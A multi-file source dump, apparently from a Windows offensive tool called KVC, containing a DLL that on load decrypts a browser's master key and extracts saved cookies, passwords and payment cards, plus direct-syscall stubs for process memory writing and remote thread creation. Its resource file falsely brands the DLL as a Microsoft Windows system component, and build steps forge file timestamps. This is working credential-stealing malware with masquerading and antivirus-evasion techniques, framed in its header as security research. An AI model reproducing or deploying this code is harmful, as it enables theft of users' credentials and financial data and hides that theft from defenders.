{
for (const auto& dataCfg : Data::GetExtractionConfigs())
{
if (fs::exists(path / dataCfg.dbRelativePath))
return true;
}
return false;
};
// Check if root directory qualifies as a profile
if (isProfileDirectory(m_userDataRoot))
{
profilePaths.push_back(m_userDataRoot);
}
// Scan for profile subdirectories with database content
std::error_code ec;
for (const auto& entry : fs::directory_iterator(m_userDataRoot, ec))
{
if (!ec && entry.is_directory() && isProfileDirectory(entry.path()))
{
profilePaths.push_back(entry.path());
}
}
if (ec)
{
m_logger.Log("[-] Filesystem ERROR during profile discovery: " + ec.message());
}
// Remove duplicates using sort + unique instead of std::set
std::sort(profilePaths.begin(), profilePaths.end());
profilePaths.erase(std::unique(profilePaths.begin(), profilePaths.end()), profilePaths.end());
m_logger.Log("[+] Found " + std::to_string(profilePaths.size()) + " profile(s).");
return profilePaths;
}
private:
fs::path m_userDataRoot;
PipeLogger& m_logger;
};
// Database content extraction service using SQLite interface
class DataExtractor
{
public:
DataExtractor(const fs::path& profilePath, const Data::ExtractionConfig& config,
const std::vector<uint8_t>& aesKey, PipeLogger& logger,
const fs::path& baseOutputPath, const std::string& browserName)
: m_profilePath(profilePath), m_config(config), m_aesKey(aesKey),
m_logger(logger), m_baseOutputPath(baseOutputPath), m_browserName(browserName) {}
// Extract and decrypt data from browser database
void Extract()
{
fs::path dbPath = m_profilePath / m_config.dbRelativePath;
if (!fs::exists(dbPath))
return;
// Open database with nolock parameter for live extraction without file locking
sqlite3* db = nullptr;
std::string uriPath = "file:" + StringUtils::path_to_string(dbPath) + "?nolock=1";
std::replace(uriPath.begin(), uriPath.end(), '\\', '/');
if (sqlite3_open_v2(uriPath.c_str(), &db, SQLITE_OPEN_READONLY | SQLITE_OPEN_URI, nullptr) != SQLITE_OK)
{
m_logger.Log("[-] Failed to open database " + StringUtils::path_to_string(dbPath) +
": " + (db ? sqlite3_errmsg(db) : "N/A"));
if (db) sqlite3_close_v2(db);
return;
}
// Prepare SQL query for data extraction
sqlite3_stmt* stmt = nullptr;
if (sqlite3_prepare_v2(db, m_config.sqlQuery.c_str(), -1, &stmt, nullptr) != SQLITE_OK)
{
sqlite3_close_v2(db);
return;
}
// Execute pre-query setup if needed (e.g., for payment card CVCs)
void* preQueryState = nullptr;
std::shared_ptr<std::unordered_map<std::string, std::vector<uint8_t>>> cvcMap;
if (m_config.preQuerySetup)
{
cvcMap = m_config.preQuerySetup(db);
preQueryState = &cvcMap;
}
// Extract and format data entries using custom formatters
std::vector<std::string> jsonEntries;
while (sqlite3_step(stmt) == SQLITE_ROW)
{
if (auto jsonEntry = m_config.jsonFormatter(stmt, m_aesKey, preQueryState))
{
jsonEntries.push_back(*jsonEntry);
}
}
sqlite3_finalize(stmt);
sqlite3_close_v2(db);
// Write extraction results to structured JSON output file
if (!jsonEntries.empty())
{
fs::path outFilePath = m_baseOutputPath / m_browserName / m_profilePath.filename() /
(m_config.outputFileName + ".json");
std::error_code ec;
fs::create_directories(outFilePath.parent_path(), ec);
if (ec)
{
m_logger.Log("[-] Failed to create directory: " + StringUtils::path_to_string(outFilePath.parent_path()));
return;
}
std::ofstream out(outFilePath, std::ios::trunc);
if (!out) return;
out << "[\n";
for (size_t i = 0; i < jsonEntries.size(); ++i)
{
out << jsonEntries[i] << (i == jsonEntries.size() - 1 ? "" : ",\n");
}
out << "\n]\n";
m_logger.Log(" [*] " + std::to_string(jsonEntries.size()) + " " + m_config.outputFileName +
" extracted to " + StringUtils::path_to_string(outFilePath));
}
}
private:
fs::path m_profilePath;
const Data::ExtractionConfig& m_config;
const std::vector<uint8_t>& m_aesKey;
PipeLogger& m_logger;
fs::path m_baseOutputPath;
std::string m_browserName;
};
// Main orchestrator for browser security analysis operations
class SecurityOrchestrator
{
public:
explicit SecurityOrchestrator(LPCWSTR lpcwstrPipeName) : m_logger(lpcwstrPipeName)
{
if (!m_logger.isValid())
{
throw std::runtime_error("Failed to connect to named pipe from orchestrator.");
}
ReadPipeParameters();
}
// Execute complete browser security analysis workflow
void Run()
{
BrowserManager browserManager;
const auto& browserConfig = browserManager.getConfig();
m_logger.Log("[*] Security analysis process started for " + browserConfig.name);
// Decrypt master key using COM elevation service
std::vector<uint8_t> aesKey;
{
MasterKeyDecryptor keyDecryptor(m_logger);
fs::path localStatePath = browserManager.getUserDataRoot() / "Local State";
aesKey = keyDecryptor.Decrypt(browserConfig, localStatePath);
}
m_logger.Log("[+] Decrypted AES Key: " + Utils::BytesToHexString(aesKey));
// Discover and process all browser profiles systematically
ProfileEnumerator enumerator(browserManager.getUserDataRoot(), m_logger);
auto profilePaths = enumerator.FindProfiles();
for (const auto& profilePath : profilePaths)
{
m_logger.Log("[*] Processing profile: " + StringUtils::path_to_string(profilePath.filename()));
// Extract each data type (cookies, passwords, payments) using specialized handlers
for (const auto& dataConfig : Data::GetExtractionConfigs())
{
DataExtractor extractor(profilePath, dataConfig, aesKey, m_logger, m_outputPath, browserConfig.name);
extractor.Extract();
}
}
m_logger.Log("[*] All profiles processed. Security analysis process finished.");
}
private:
// Read configuration parameters from orchestrator via named pipe
void ReadPipeParameters()
{
char buffer[MAX_PATH + 1] = {0};
DWORD bytesRead = 0;
// Read verbose flag configuration
ReadFile(m_logger.getHandle(), buffer, sizeof(buffer) - 1, &bytesRead, nullptr);
// Read output path configuration
ReadFile(m_logger.getHandle(), buffer, sizeof(buffer) - 1, &bytesRead, nullptr);
buffer[bytesRead] = '\0';
m_outputPath = buffer;
}
PipeLogger m_logger;
fs::path m_outputPath;
};
}
// Thread parameters for security module worker thread
struct ModuleThreadParams
{
HMODULE hModule_dll;
LPVOID lpPipeNamePointerFromOrchestrator;
};
// Main worker thread for browser security analysis operations
DWORD WINAPI SecurityModuleWorker(LPVOID lpParam)
{
auto thread_params = std::unique_ptr<ModuleThreadParams>(static_cast<ModuleThreadParams*>(lpParam));
try
{
SecurityComponents::SecurityOrchestrator orchestrator(static_cast<LPCWSTR>(thread_params->lpPipeNamePointerFromOrchestrator));
orchestrator.Run();
}
catch (const std::exception& e)
{
try
{
// Attempt to log error through pipe if communication channel is available
SecurityComponents::PipeLogger errorLogger(static_cast<LPCWSTR>(thread_params->lpPipeNamePointerFromOrchestrator));
if (errorLogger.isValid())
{
errorLogger.Log("[-] CRITICAL SECURITY MODULE ERROR: " + std::string(e.what()));
}
}
catch (...) {} // Failsafe error handling if logging subsystem fails
}
FreeLibraryAndExitThread(thread_params->hModule_dll, 0);
return 0;
}
// Security module entry point - initializes browser security analysis operations
BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID lpReserved)
{
if (reason == DLL_PROCESS_ATTACH)
{
DisableThreadLibraryCalls(hModule);
auto params = new (std::nothrow) ModuleThreadParams{hModule, lpReserved};
if (!params) return TRUE;
HANDLE hThread = CreateThread(NULL, 0, SecurityModuleWorker, params, 0, NULL);
if (hThread)
{
CloseHandle(hThread);
}
else
{
delete params;
}
}
return TRUE;
}

2
kvc/kvc_crypt.def Normal file
View File

@@ -0,0 +1,2 @@
EXPORTS
InitializeSecurityContext

70
kvc/kvc_crypt.rc Normal file
View File

@@ -0,0 +1,70 @@
// Microsoft Visual C++ generated resource script.
// kvc_crypt DLL Resource File - Microsoft Corporation branding
//
#include "resource.h"
#define APSTUDIO_READONLY_SYMBOLS
/////////////////////////////////////////////////////////////////////////////
//
// Generated from the TEXTINCLUDE 2 resource.
//
#include "winres.h"
/////////////////////////////////////////////////////////////////////////////
#undef APSTUDIO_READONLY_SYMBOLS
/////////////////////////////////////////////////////////////////////////////
// English (United States) resources
#if !defined(AFX_RESOURCE_DLL) || defined(AFX_TARG_ENU)
LANGUAGE LANG_ENGLISH, SUBLANG_ENGLISH_US
/////////////////////////////////////////////////////////////////////////////
//
// Version Information - Microsoft Corporation branding identical to kvc.exe
//
VS_VERSION_INFO VERSIONINFO
FILEVERSION 10,0,26200,8460
PRODUCTVERSION 10,0,26200,8460
FILEFLAGSMASK 0x3fL
#ifdef _DEBUG
FILEFLAGS 0x1L
#else
FILEFLAGS 0x0L
#endif
FILEOS 0x40004L
FILETYPE 0x2L // DLL file type
FILESUBTYPE 0x0L
BEGIN
BLOCK "StringFileInfo"
BEGIN
BLOCK "040904b0"
BEGIN
VALUE "CompanyName", "Microsoft Corporation"
VALUE "FileDescription", "Windows System Component"
VALUE "FileVersion", "10.0.26200.8460"
VALUE "InternalName", "kvc_crypt.dll"
VALUE "LegalCopyright", "<22> Microsoft Corporation. All rights reserved."
VALUE "OriginalFilename", "kvc_crypt.dll"
VALUE "ProductName", "Microsoft<66> Windows<77> Operating System"
VALUE "ProductVersion", "10.0.26200.8460"
END
END
BLOCK "VarFileInfo"
BEGIN
VALUE "Translation", 0x409, 1200
END
END
#endif // English (United States) resources
/////////////////////////////////////////////////////////////////////////////
#ifndef APSTUDIO_INVOKED
/////////////////////////////////////////////////////////////////////////////
//
// Generated from the TEXTINCLUDE 3 resource.
//
/////////////////////////////////////////////////////////////////////////////
#endif // not APSTUDIO_INVOKED

4
kvc/kvc_crypt.user Normal file
View File

@@ -0,0 +1,4 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup />
</Project>

92
kvc/kvc_crypt.vcxproj Normal file
View File

@@ -0,0 +1,92 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<VCProjectVersion>16.0</VCProjectVersion>
<ProjectGuid>{87654321-4321-4321-4321-123456789DEF}</ProjectGuid>
<RootNamespace>chromedecrypt</RootNamespace>
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(VCTargetsPath)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LinkIncremental>false</LinkIncremental>
<OutDir>$(SolutionDir)bin\x64\Release\</OutDir>
<IntDir>$(SolutionDir)obj\$(ProjectName)\$(Configuration)\$(Platform)\</IntDir>
<TargetName>kvc_crypt</TargetName>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>false</SDLCheck>
<PreprocessorDefinitions>NDEBUG;_WINDOWS;_USRDLL;BUILDING_DLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<LanguageStandard>stdcpplatest</LanguageStandard>
<BufferSecurityCheck>false</BufferSecurityCheck>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<Optimization>MaxSpeed</Optimization>
<AdditionalOptions>/utf-8 /GS- /Gy /Gw /Brepro %(AdditionalOptions)</AdditionalOptions>
<IgnoreSpecificDefaultLibraries>ole32.lib;oleaut32.lib;%(IgnoreSpecificDefaultLibraries)</IgnoreSpecificDefaultLibraries>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>false</GenerateDebugInformation>
<AdditionalDependencies>ole32.lib;oleaut32.lib;shell32.lib;bcrypt.lib;crypt32.lib;winsqlite3.lib;%(AdditionalDependencies)</AdditionalDependencies>
<AdditionalLibraryDirectories>$(ProjectDir);%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
<AdditionalOptions>/OPT:REF /OPT:ICF /MERGE:.rdata=.text /NXCOMPAT /Brepro /NOIMPLIB /NOEXP %(AdditionalOptions)</AdditionalOptions>
<ModuleDefinitionFile>kvc_crypt.def</ModuleDefinitionFile>
<AdditionalOptions>/NODEFAULTLIB:msvcprt.lib %(AdditionalOptions)</AdditionalOptions>
</Link>
<PostBuildEvent>
<Command>powershell -Command "&amp; {$f='$(OutDir)$(TargetName)$(TargetExt)'; (Get-Item $f).CreationTime='2026-01-01 00:00:00'; (Get-Item $f).LastWriteTime='2026-01-01 00:00:00'}"</Command>
</PostBuildEvent>
<ResourceCompile>
<!-- Fixed: Removed NO_RESOURCES to enable Microsoft Corporation version info -->
<Culture>0x0409</Culture>
</ResourceCompile>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="kvc_crypt.cpp" />
<ClCompile Include="SelfLoader.cpp" />
</ItemGroup>
<ItemGroup>
<!-- Fixed: Enabled resource.h include -->
<ClInclude Include="resource.h" />
<ClInclude Include="SelfLoader.h" />
<ClInclude Include="winsqlite3.h" />
</ItemGroup>
<ItemGroup>
<!-- Fixed: Added resource file for Microsoft Corporation version info -->
<ResourceCompile Include="kvc_crypt.rc" />
</ItemGroup>
<!-- DODAJ TARGET DO CZYSZCZENIA ZASOBÓW -->
<Target Name="RemoveVCRuntimeResources" AfterTargets="Link">
<Exec Command="if exist &quot;@(FinalOutputPath)&quot; echo Building minimal DLL..." />
</Target>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>

BIN
kvc/kvc_pass.rc Normal file

Binary file not shown.

89
kvc/kvc_pass.vcxproj Normal file
View File

@@ -0,0 +1,89 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<VCProjectVersion>16.0</VCProjectVersion>
<ProjectGuid>{12345678-1234-1234-1234-123456789ABC}</ProjectGuid>
<RootNamespace>kvc_pass</RootNamespace>
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.props" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(VCTargetsPath)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LinkIncremental>false</LinkIncremental>
<OutDir>$(SolutionDir)bin\x64\Release\</OutDir>
<IntDir>$(SolutionDir)obj\$(ProjectName)\$(Configuration)\$(Platform)\</IntDir>
<TargetName>kvc_pass</TargetName>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>false</SDLCheck>
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<LanguageStandard>stdcpplatest</LanguageStandard>
<BufferSecurityCheck>false</BufferSecurityCheck>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<Optimization>MaxSpeed</Optimization>
<AdditionalOptions>/utf-8 /GS- /Gy /Gw /Brepro %(AdditionalOptions)</AdditionalOptions>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>false</GenerateDebugInformation>
<AdditionalDependencies>Rpcrt4.lib;version.lib;shell32.lib;%(AdditionalDependencies)</AdditionalDependencies>
<AdditionalOptions>/OPT:REF /OPT:ICF /MERGE:.rdata=.text /NXCOMPAT /Brepro %(AdditionalOptions)</AdditionalOptions>
</Link>
<PostBuildEvent>
<Command>powershell -Command "&amp; {$f='$(OutDir)$(TargetName)$(TargetExt)'; (Get-Item $f).CreationTime='2026-01-01 00:00:00'; (Get-Item $f).LastWriteTime='2026-01-01 00:00:00'}"</Command>
</PostBuildEvent>
<ResourceCompile>
<Culture>0x0409</Culture>
</ResourceCompile>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="BrowserOrchestrator.cpp" />
<ClCompile Include="syscalls.cpp" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="resource.h" />
<ClInclude Include="syscalls.h" />
</ItemGroup>
<ItemGroup>
<MASM Include="AbiTramp.asm" />
</ItemGroup>
<ItemGroup>
<!-- Fixed: Use kvc.ico instead of PassExtractor.ico -->
<Image Include="ICON\kvc.ico" />
</ItemGroup>
<ItemGroup>
<ResourceCompile Include="kvc_pass.rc" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
</ImportGroup>
</Project>

View File

@@ -0,0 +1,4 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup />
</Project>

24
kvc/resource.h Normal file
View File

@@ -0,0 +1,24 @@
//{{NO_DEPENDENCIES}}
// Microsoft Visual C++ generated include file.
// Unified resource header for kvc + PassExtractor integration
// KVC Main Application Resources (100-199)
#define IDI_ICON1 101
#define IDR_MAINICON 102 // Icon data containing embedded driver
// PassExtractor/kvc_pass Resources (200-299)
#define IDI_PASSEXTRACTOR_ICON 201
#define IDR_PASSEXTRACTOR_VERSION 202
// kvc_crypt DLL Resources (300-399) - currently unused due to NO_RESOURCES
// Reserved for future expansion
// Next default values for new objects
#ifdef APSTUDIO_INVOKED
#ifndef APSTUDIO_READONLY_SYMBOLS
#define _APS_NEXT_RESOURCE_VALUE 210
#define _APS_NEXT_COMMAND_VALUE 40001
#define _APS_NEXT_CONTROL_VALUE 1001
#define _APS_NEXT_SYMED_VALUE 101
#endif
#endif

257
kvc/syscalls.cpp Normal file
View File

@@ -0,0 +1,257 @@
/*******************************************************************************
_ ____ ______
| |/ /\ \ / / ___|
| ' / \ \ / / |
| . \ \ V /| |___
|_|\_\ \_/ \____|
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
of kernel-level primitives** for legitimate security research and penetration testing.
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
that define these protections.
-----------------------------------------------------------------------------
Author : Marek Wesołowski
Email : marek@wesolowski.eu.org
Phone : +48 607 440 283 (Tel/WhatsApp)
Date : 04-09-2025
*******************************************************************************/
// syscalls.cpp
#include "syscalls.h"
#include <vector>
#include <string>
#include <algorithm>
#include <cstdint>
#include <map>
SYSCALL_STUBS g_syscall_stubs{};
// External assembly trampoline for syscall ABI transition
extern "C" NTSTATUS AbiTramp(...);
namespace
{
// Syscall mapping structure for address-based sorting
struct SORTED_SYSCALL_MAPPING
{
PVOID pAddress;
LPCSTR szName;
};
// Comparator for syscall address sorting to determine SSNs
bool CompareSyscallMappings(const SORTED_SYSCALL_MAPPING &a, const SORTED_SYSCALL_MAPPING &b)
{
return reinterpret_cast<uintptr_t>(a.pAddress) < reinterpret_cast<uintptr_t>(b.pAddress);
}
// Locate syscall gadget within function prologue for x64 architecture
PVOID FindSyscallGadget_x64(PVOID pFunction)
{
for (DWORD i = 0; i <= 64; ++i)
{
auto current_addr = reinterpret_cast<PBYTE>(pFunction) + i;
// Skip relative jump instructions
if (*current_addr == 0xE9) // jmp rel32
{
i += 4;
continue;
}
// Look for syscall; ret instruction sequence
if (*reinterpret_cast<PWORD>(current_addr) == 0x050F && *(current_addr + 2) == 0xC3)
{
return current_addr;
}
}
return nullptr;
}
}
// Initialize direct syscall stubs for low-level system operations
BOOL InitializeSyscalls(bool is_verbose)
{
HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll");
if (!hNtdll)
return FALSE;
// Parse NTDLL export directory to enumerate Zw* functions
auto pDosHeader = reinterpret_cast<PIMAGE_DOS_HEADER>(hNtdll);
auto pNtHeaders = reinterpret_cast<PIMAGE_NT_HEADERS>(reinterpret_cast<PBYTE>(hNtdll) + pDosHeader->e_lfanew);
PIMAGE_EXPORT_DIRECTORY pExportDir = reinterpret_cast<PIMAGE_EXPORT_DIRECTORY>(reinterpret_cast<PBYTE>(hNtdll) + pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
auto pNameRvas = reinterpret_cast<PDWORD>(reinterpret_cast<PBYTE>(hNtdll) + pExportDir->AddressOfNames);
auto pAddressRvas = reinterpret_cast<PDWORD>(reinterpret_cast<PBYTE>(hNtdll) + pExportDir->AddressOfFunctions);
auto pOrdinalRvas = reinterpret_cast<PWORD>(reinterpret_cast<PBYTE>(hNtdll) + pExportDir->AddressOfNameOrdinals);
// Collect and sort all Zw* functions for SSN determination
std::vector<SORTED_SYSCALL_MAPPING> sortedSyscalls;
sortedSyscalls.reserve(pExportDir->NumberOfNames);
for (DWORD i = 0; i < pExportDir->NumberOfNames; ++i)
{
LPCSTR szFuncName = reinterpret_cast<LPCSTR>(reinterpret_cast<PBYTE>(hNtdll) + pNameRvas[i]);
if (strncmp(szFuncName, "Zw", 2) == 0)
{
PVOID pFuncAddress = reinterpret_cast<PVOID>(reinterpret_cast<PBYTE>(hNtdll) + pAddressRvas[pOrdinalRvas[i]]);
sortedSyscalls.push_back({pFuncAddress, szFuncName});
}
}
std::sort(sortedSyscalls.begin(), sortedSyscalls.end(), CompareSyscallMappings);
// Map of required syscalls with their parameter counts for security operations
struct CStringComparer
{
bool operator()(const char *a, const char *b) const { return std::strcmp(a, b) < 0; }
};
const std::map<const char *, std::pair<SYSCALL_ENTRY *, UINT>, CStringComparer> required_syscalls = {
{"ZwAllocateVirtualMemory", {&g_syscall_stubs.NtAllocateVirtualMemory, 6}},
{"ZwWriteVirtualMemory", {&g_syscall_stubs.NtWriteVirtualMemory, 5}},
{"ZwReadVirtualMemory", {&g_syscall_stubs.NtReadVirtualMemory, 5}},
{"ZwCreateThreadEx", {&g_syscall_stubs.NtCreateThreadEx, 11}},
{"ZwFreeVirtualMemory", {&g_syscall_stubs.NtFreeVirtualMemory, 4}},
{"ZwProtectVirtualMemory", {&g_syscall_stubs.NtProtectVirtualMemory, 5}},
{"ZwOpenProcess", {&g_syscall_stubs.NtOpenProcess, 4}},
{"ZwGetNextProcess", {&g_syscall_stubs.NtGetNextProcess, 5}},
{"ZwTerminateProcess", {&g_syscall_stubs.NtTerminateProcess, 2}},
{"ZwQueryInformationProcess", {&g_syscall_stubs.NtQueryInformationProcess, 5}},
{"ZwUnmapViewOfSection", {&g_syscall_stubs.NtUnmapViewOfSection, 2}},
{"ZwGetContextThread", {&g_syscall_stubs.NtGetContextThread, 2}},
{"ZwSetContextThread", {&g_syscall_stubs.NtSetContextThread, 2}},
{"ZwResumeThread", {&g_syscall_stubs.NtResumeThread, 2}},
{"ZwFlushInstructionCache", {&g_syscall_stubs.NtFlushInstructionCache, 3}},
{"ZwClose", {&g_syscall_stubs.NtClose, 1}},
{"ZwOpenKey", {&g_syscall_stubs.NtOpenKey, 3}},
{"ZwQueryValueKey", {&g_syscall_stubs.NtQueryValueKey, 6}},
{"ZwEnumerateKey", {&g_syscall_stubs.NtEnumerateKey, 6}}};
// Resolve syscall stubs and gadgets for each required function
for (WORD i = 0; i < sortedSyscalls.size(); ++i)
{
const auto &mapping = sortedSyscalls[i];
auto it = required_syscalls.find(mapping.szName);
if (it == required_syscalls.end())
continue;
PVOID pGadget = FindSyscallGadget_x64(mapping.pAddress);
if (pGadget)
{
it->second.first->pSyscallGadget = pGadget;
it->second.first->nArgs = it->second.second;
it->second.first->ssn = i;
}
}
// Validate that all required syscalls were successfully resolved
for (const auto &pair : required_syscalls)
{
if (!pair.second.first->pSyscallGadget)
return FALSE;
}
return TRUE;
}
// Direct syscall implementations using assembly trampoline
NTSTATUS NtAllocateVirtualMemory_syscall(HANDLE ProcessHandle, PVOID *BaseAddress, ULONG_PTR ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect)
{
return (NTSTATUS)AbiTramp(&g_syscall_stubs.NtAllocateVirtualMemory, ProcessHandle, BaseAddress, ZeroBits, RegionSize, AllocationType, Protect);
}
NTSTATUS NtWriteVirtualMemory_syscall(HANDLE ProcessHandle, PVOID BaseAddress, PVOID Buffer, SIZE_T NumberOfBytesToWrite, PSIZE_T NumberOfBytesWritten)
{
return (NTSTATUS)AbiTramp(&g_syscall_stubs.NtWriteVirtualMemory, ProcessHandle, BaseAddress, Buffer, NumberOfBytesToWrite, NumberOfBytesWritten);
}
NTSTATUS NtReadVirtualMemory_syscall(HANDLE ProcessHandle, PVOID BaseAddress, PVOID Buffer, SIZE_T NumberOfBytesToRead, PSIZE_T NumberOfBytesRead)
{
return (NTSTATUS)AbiTramp(&g_syscall_stubs.NtReadVirtualMemory, ProcessHandle, BaseAddress, Buffer, NumberOfBytesToRead, NumberOfBytesRead);
}
NTSTATUS NtCreateThreadEx_syscall(PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, LPVOID ObjectAttributes, HANDLE ProcessHandle, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, ULONG CreateFlags, ULONG_PTR ZeroBits, SIZE_T StackSize, SIZE_T MaximumStackSize, LPVOID AttributeList)
{
return (NTSTATUS)AbiTramp(&g_syscall_stubs.NtCreateThreadEx, ThreadHandle, DesiredAccess, ObjectAttributes, ProcessHandle, lpStartAddress, lpParameter, CreateFlags, ZeroBits, StackSize, MaximumStackSize, AttributeList);
}
NTSTATUS NtFreeVirtualMemory_syscall(HANDLE ProcessHandle, PVOID *BaseAddress, PSIZE_T RegionSize, ULONG FreeType)
{
return (NTSTATUS)AbiTramp(&g_syscall_stubs.NtFreeVirtualMemory, ProcessHandle, BaseAddress, RegionSize, FreeType);
}
NTSTATUS NtProtectVirtualMemory_syscall(HANDLE ProcessHandle, PVOID *BaseAddress, PSIZE_T RegionSize, ULONG NewProtect, PULONG OldProtect)
{
return (NTSTATUS)AbiTramp(&g_syscall_stubs.NtProtectVirtualMemory, ProcessHandle, BaseAddress, RegionSize, NewProtect, OldProtect);
}
NTSTATUS NtOpenProcess_syscall(PHANDLE ProcessHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PCLIENT_ID ClientId)
{
return (NTSTATUS)AbiTramp(&g_syscall_stubs.NtOpenProcess, ProcessHandle, DesiredAccess, ObjectAttributes, ClientId);
}
NTSTATUS NtGetNextProcess_syscall(HANDLE ProcessHandle, ACCESS_MASK DesiredAccess, ULONG HandleAttributes, ULONG Flags, PHANDLE NewProcessHandle)
{
return (NTSTATUS)AbiTramp(&g_syscall_stubs.NtGetNextProcess, ProcessHandle, DesiredAccess, HandleAttributes, Flags, NewProcessHandle);
}
NTSTATUS NtTerminateProcess_syscall(HANDLE ProcessHandle, NTSTATUS ExitStatus)
{
return (NTSTATUS)AbiTramp(&g_syscall_stubs.NtTerminateProcess, ProcessHandle, ExitStatus);
}
NTSTATUS NtQueryInformationProcess_syscall(HANDLE ProcessHandle, PROCESSINFOCLASS ProcessInformationClass, PVOID ProcessInformation, ULONG ProcessInformationLength, PULONG ReturnLength)
{
return (NTSTATUS)AbiTramp(&g_syscall_stubs.NtQueryInformationProcess, ProcessHandle, ProcessInformationClass, ProcessInformation, ProcessInformationLength, ReturnLength);
}
NTSTATUS NtUnmapViewOfSection_syscall(HANDLE ProcessHandle, PVOID BaseAddress)
{
return (NTSTATUS)AbiTramp(&g_syscall_stubs.NtUnmapViewOfSection, ProcessHandle, BaseAddress);
}
